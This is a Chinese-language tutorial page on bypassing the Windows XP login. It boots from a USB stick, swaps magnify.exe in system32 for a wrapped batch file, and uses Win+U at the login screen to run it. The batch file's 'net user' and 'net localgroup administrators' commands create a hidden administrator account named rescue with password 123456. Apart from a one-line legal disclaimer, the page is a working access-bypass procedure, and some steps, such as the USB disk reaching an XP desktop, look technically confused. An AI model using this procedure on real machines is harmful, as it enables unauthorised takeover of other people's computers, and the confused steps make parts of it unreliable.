Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學

利用 USB 隨身碟繞過 Windows XP 登入密碼進入系統實戰教學

編輯:XP 系統基礎知識

前言與原理

利用 Windows XP 登入畫面的「協助工具」漏洞:按 Win + U 可啟動放大鏡 (magnify.exe)。將 magnify.exe 替換為自訂程式(如新增管理員帳號的批次檔包裝成 .exe),即可在不知密碼情況下建立管理員帳號登入系統。

法律與道德警示: 僅限於自己合法擁有授權的電腦進行密碼遺失救援。未經授權存取他人電腦屬違法行為,請勿濫用。

所需工具

  • USB 隨身碟 (1GB 以上)
  • USboot (USB 開機製作工具)
  • WinRAR (建立自解壓縮執行檔)

製作流程

1. 製作 USB 開機碟 (USboot HDD 模式)

  1. 執行 USboot → 插入 USB → 選擇該磁碟 → 開始 (會格式化 USB,請先備份資料)
  2. 格式化完成拔出 → 提示再插入 → 等待 1 分鐘完成

2. 製作替換用執行檔 (新增管理員帳號)

  1. 記事本建立批次檔 addadmin.bat:
@net user rescue 123456 /add
@net localgroup administrators rescue /add
@exit
  1. WinRAR 壓縮 addadmin.bat → 選「建立自解壓縮檔」 → 輸出 addadmin.exe → 複製到 USB

3. 進入系統替換 magnify.exe

  1. BIOS 設定 USB-HDD 為第一開機順序 → 存檔離開
  2. 插入 USB 開機 → 進入 Windows XP 桌面
  3. 開啟命令提示字元,切換至 C:\WINDOWS\system32
  4. 備份原檔:copy magnify.exe 007magnify.exe
  5. 複製替換:copy [USB磁碟機]:\addadmin.exe magnify.exe

4. 觸發機制取得存取權

  1. 重開機從硬碟啟動 → 進入 XP 登入畫面
  2. 按 Ctrl + Alt + Del 兩次 (或 Win + U) 呼叫放大鏡 → 實際執行 addadmin.exe 建立帳號 rescue/123456
  3. 使用新帳號登入 → 修改原管理員密碼或備份資料
重要限制: 僅適用 FAT32 分區環境;NTFS 分區因檔案權限保護可能無法直接覆寫 system32 檔案。另 Windows Vista/7/10 已修補此漏洞,此法僅限 XP/2000。
Copyright © Windows教程網 All Rights Reserved